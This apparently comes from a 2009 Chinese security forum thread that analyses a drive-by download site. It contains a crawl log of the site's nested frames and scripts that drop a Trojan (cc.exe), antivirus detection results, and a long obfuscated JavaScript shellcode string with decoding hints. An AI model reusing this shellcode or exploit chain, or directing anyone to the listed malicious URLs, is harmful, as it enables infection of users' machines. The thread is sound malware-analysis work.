http://www.youxi213.cn

显示全部楼层 · 发表于 2009-5-26 11:02:25

Log is generated by FreShow.
[wide]http://www.youxi213.cn
[frame]http://www.youxi213.cn/images/leftTop.htm
      [script]http://www.youxi213.cn/images/leftTop.files/leftTop.js
[frame]http://www.youxi213.cn/images/fenxi.gpdq.htm
[script]http://www.youxi213.cn/images/click.htm
      [frame]http://count11.51yes.com/sa.aspx?id=110542805'+yesdata+'
[frame]http://www.youxi213.cn/hook.htm
      [frame]http://www.youxi213.cn/yy.htm
         [script]http://www.youxi213.cn/14.js
            [object]http://www.youxi213.cn/cc.exe
      [frame]http://www.youxi213.cn/flash.htm
      [frame]http://www.youxi213.cn/ippp.htm
         [frame]http://www.youxi213.cn/r.htm
            [script]http://www.youxi213.cn/real.js
         [frame]http://www.youxi213.cn/real.html
            [script]http://www.youxi213.cn/re11.js
                  [object]http://www.youxi213.cn/cc.exe
      [frame]http://www.youxi213.cn/ip.htm
      [frame]http://www.youxi213.cn/02.htm
         [script]http://www.youxi213.cn/set.js
            [object]http://www.youxi213.cn/cc.exe
      [frame]http://www.youxi213.cn/lz.htm
      [frame]http://www.youxi213.cn/office.htm
      [frame]http://www.youxi213.cn/pef.htm
      [frame]http://www.youxi213.cn/qb.htm
virsan扫描。过卡巴等

显示全部楼层 · 发表于 2009-5-26 11:10:06

kaba miss，to kill！

Hello,

cc.exe - Trojan-Dropper.Win32.Agent.aqxd

New malicious software was found in this file. It's detection will be included in the next update. Thank you for your help.

avira kill ！
扫描开始于: 2009年5月26日 11:09

开始文件扫描:

开始扫描 'C:\TDDOWNLOAD'
C:\TDDOWNLOAD\cc.exe
[检测] Is the TR/Hijacker.Gen Trojan

[ 本帖最后由幸福的猪猪于 2009-5-26 11:19 编辑 ]

显示全部楼层 · 发表于 2009-5-26 12:05:22

病毒名称: Virus.Win32.Crypt.CQW
IK

显示全部楼层 · 发表于 2009-5-26 14:53:45

没完整分析

显示全部楼层 · 发表于 2009-5-26 14:57:18

var ttt = unescape("Game11ebGame4b5bGamec933Game96b9Game0005Game8000Game0b34Gamee2bcGameebfaGamee805GameffeaGameffffGame8454GamebcbfGamed4bcGame9cbcGamebcbcGamebcd6Game6c43Game3a05Gamebcb9Game37bcGame5744Gamee2b9Game184fGame6c43Game4a54Game4343Game5443Gamebf83GamebcbcGame4437Game8454GamebcbcGame54bcGamebdf3GamebcbcGamefa54GamebcbcGame54bcGamebf61GamebcbcGame4437Game9e54GamebcbcGame54bcGamebdfaGamebcbcGame8c54GamebcbcGame54bcGamebf37GamebcbcGame4437Gameb054GamebcbcGame54bcGamebddfGamebcbcGamea654GamebcbcGame57bcGameefe4Game6037Gamed6efGamed4fcGameacbcGamebcbcGame54ebGamebe0fGamebcbcGame5954GamebcbcGamee4bcGameef7fGame6037Gamed6efGamed49cGameacbcGamebcbcGame54ebGamebe27GamebcbcGame7154GamebcbcGamee4bcGameeb7fGame8254Gamebcb8Game37bcGame8f44Gamef575Game7c8fGame7f0cGame4e40Game3112Game43fbGame7fe3Game82e7Gamebb7aGame8204Gamee335Game82bdGame7bdaGameb9fbGame5c43Game557fGameb82bGamebcbcGame3de7Gamea850GamebcbdGame37bcGame8268Gamebe7bGamed1dfGame9cd8Game7b82Gameb8feGamedf93Game9e9cGame7e3fGame8fb4Gameec7cGamed4ecGamebdb8GamebcbcGameefeeGame54ecGamebf7fGamebcbcGame6c43Game4037Game7b37Game7c3fGame82b4Gamea436Game6738Gamebfc8Game57fcGame824aGamebc7aGame8f9eGame826eGameec34Game3fbdGamee850Game7c8fGame678fGame7037Game443fGamec1e8Game82b5Gamea035Game3fb4Gameb87cGame4e57Game7037Game6537Game7f3fGame8facGame827cGameff7bGamebd90GamebcbcGameedbcGameecefGameececGameececGameebecGame54ecGamebf87GamebcbcGamea554GamebcbcGamed8bcGameb81dGamebcbcGame31bcGamedc1cGame4343Game5443Gamebf85GamebcbcGame678fGameefefGameefefGame6c43Game843cGamec855Game3cb9Game5484Gameb3c9Gamec43dGame2cb9Game2c2cGamec82cGamee9baGame5037Gamefc31Game43b9Game545cGame4390Game4343Game547fGame439aGame4343Gamead04Gameb8bdGame7e3cGamebcb0Gamea554Game4343Game8f43Gameec7cGame54e8Gamebce8GamebcbcGame54ecGamebe37GamebcbcGame6c43Game3c8aGame9880GamecbbcGame54b6GamebefdGamebcbcGame438fGame43ebGame546cGamebd47GamebcbcGame43d4GamebcbcGame43bcGame546cGame425aGame4343GameebefGame8feaGameec7cGame54e8Gamebca2GamebcbcGame54ecGamebee9GamebcbcGame6c43Game3c8aGame9880GamecbbcGame54b6Gamebeb7GamebcbcGame438fGame43ebGamee46cGamee3e2Game7fe7Gamebe57Game7fe4Game4554Game4343Gameea43Game3febGameb450Game4037Gameb4d6Game82ebGamecb43Game54a8Gamebee1GamebcbcGame6c43Game4037Gameddd4Gamed9d1Gamed4bcGamef9f5GamecefaGame4837Gameb405GamebcbcGame4fbcGamec91aGamed693Game82bcGamec843Game9c98Game9854GamebcbeGame43bcGame376cGame5444Gamebd77GamebcbcGame6c43Game4487Gameb4c8Game378aGame98f8Game829cGamebc43Game4382Game98c8Game54a0Gamebd53GamebcbcGame6c43Game783fGamee3acGame04e2GamebcbdGamebcbcGamed47fGamed2d3GamebcbcGamec9d4Gamed0ceGame57d1Game31a9Game98f8Gameecb8Game9c54Game4342Gameec43Gamef654GamebcbeGame55bcGame425cGame4343Game5a54Game4343Game3f43Gameb478Gamed67fGamed4d0Gamec8d2Gamed0d8Gamea957Gamef831Gameb898Game54ecGame4145Game4343Game54ecGamebe9fGamebcbcGame0555Game4342Game5443Game435aGame4343Game783fGame7fb4Game8fd4Gamebc8eGamed4bcGamecfc9Gameced9Gamea957Gamef831Gameb898Game54ecGame4173Game4343Game54ecGamebd45GamebcbcGame3355Game4342Game5443Game435aGame4343Game783fGame7fb4Gamedfd4GamecbcaGamed4bcGamed4cfGamed3d8Gamea957Gamef831Gameb898Game54ecGame4119Game4343Game54ecGamebd73GamebcbcGamed955Game4342Game5443Game435aGame4343Game783fGame7fb4Gamecad4Gamec4dbGame57bcGame31a9Game98f8Gameecb8Game3c54Game4341Gameec43Game1654GamebcbdGame55bcGame42fcGame4343Game5a54Game4343Game3f43Gameb878Game547fGamebd17GamebcbcGamea7d4Gamefa7aGameecc5Game7a54GamebcbdGame3fbcGameb478Game547fGamebd2bGamebcbcGame50d4Gamebf2bGameecb0Game0e54GamebcbdGame3fbcGameb478Game547fGamebd3fGamebcbcGame16d4Gameb140Gameecc0Game2254GamebcbdGame3fbcGameb478Game547fGamebdd3GamebcbcGame51d4Game53eaGameec8aGame3654GamebcbdGame3fbcGameb478Game547fGamebde7GamebcbcGame4cd4Gameb836Gameece3Gameca54GamebcbdGame3fbcGameb478Game547fGame424bGame4343Gamec4d4Game67d4Gameeca0Gamede54GamebcbdGame3fbcGameb478Game547fGamebd8fGamebcbcGamec2d4Game5e64GameeccfGamef254GamebcbdGame3fbcGameb478Game547fGamebda3GamebcbcGame0cd4Game91f5Gameec67Game8654GamebcbdGame3fbcGameb478Game547fGame438aGame4343Game17d4Game27e2Gameeca2Game9a54GamebcbdGame3fbcGameb478Game547fGame421bGame4343Gamee5d4Game3d2bGameecbeGameae54GamebcbdGame3fbcGameb478Game547fGamebc5fGamebcbcGamec2d4Game5e64GameeccfGame4254GamebcbcGame3fbcGameb478Game547fGamebc73GamebcbcGame22d4Game0745Gameec89Game5654GamebcbcGame3fbcGameb478Game547fGame422eGame4343Gameebd4Game091cGameec07Game6a54GamebcbcGame3fbcGameb478Game547fGame42c2Game4343Gamea6d4Gamea2c6GameecbeGame7e54GamebcbcGame3fbcGameb478Game547fGame42d6Game4343Game5cd4Game8ce7Gameec28Game1254GamebcbcGame3fbcGameb478Game547fGame42eaGame4343Game2bd4Game5e75Gameec1fGame2654GamebcbcGame3fbcGameb478Game547fGame42feGame4343Gamed4d4Game7998Gameec0fGame3a54GamebcbcGame3fbcGameb478Game547fGamebcebGamebcbcGameced4Game0f42GameecaaGamece54GamebcbcGame3fbcGameb478Game547fGame42f8Game4343Gameaf57Gamed9d6Game54ecGame4749Game4343Game54ecGame4217Game4343Game0955Game4340Game5443Game4354Game4343Game547fGame4115Game4343Gamef3d4Gamef353Gameecb9Game8254GamebcbcGame3fbcGameb478Game547fGamebcb3GamebcbcGame32d4Gameb2f2Gameec50Game9654GamebcbcGame3fbcGameb478Game8f7fGamed87cGamefc37Game398cGamec47cGame82acGamefc37Game82b0Gamecc37Game11a0Game3782Gameb4fcGame577fGame82b7Gamefc37Game3f88Gamec07cGame3782Game80fcGamedc7fGame378aGame98d0Game8a98Gamef937Game8a80Gamee837Gamec494Game69bfGame3782Gamea4f6Game3782Game9ce6Game61bfGame875fGame82f5Game8837Gamebf37Game8f49Game8f43Game407cGame3810Gamec87cGame7dbbGameb173Game44bfGame4857Game878aGame98c0Gamec994Game8263Gamee637Gamebf98Game8261Game37daGamef7b0Game3782Gamea0e6Game61bfGame3782Game37b8Game79bfGame358aGame98f8Gamedda0Game547fGame47d8Game4343Gamec8d4Gameccc8Game9386Gamecb93GamecbcbGamec592Gamec9d3Gamed5c4Game8d8eGame928fGamed2dfGamedf93Game92dfGamec4d9GameBCd9GameBC");这个感觉怪怪的，替换之后没解出来。什么原因

显示全部楼层 · 发表于 2009-5-26 15:12:42

替换Game为%u，然后shellcode不过要加参数bc
看图

显示全部楼层 · 发表于 2009-5-26 18:04:05

[2009-05-26 18:03:47] 成功阻止iexplore.exe访问http://www.youxi213.cn/hook.htm，此页面含有应用软件漏洞攻击恶意代码

[其它] http://www.youxi213.cn

回复 1楼 shadowmin 的帖子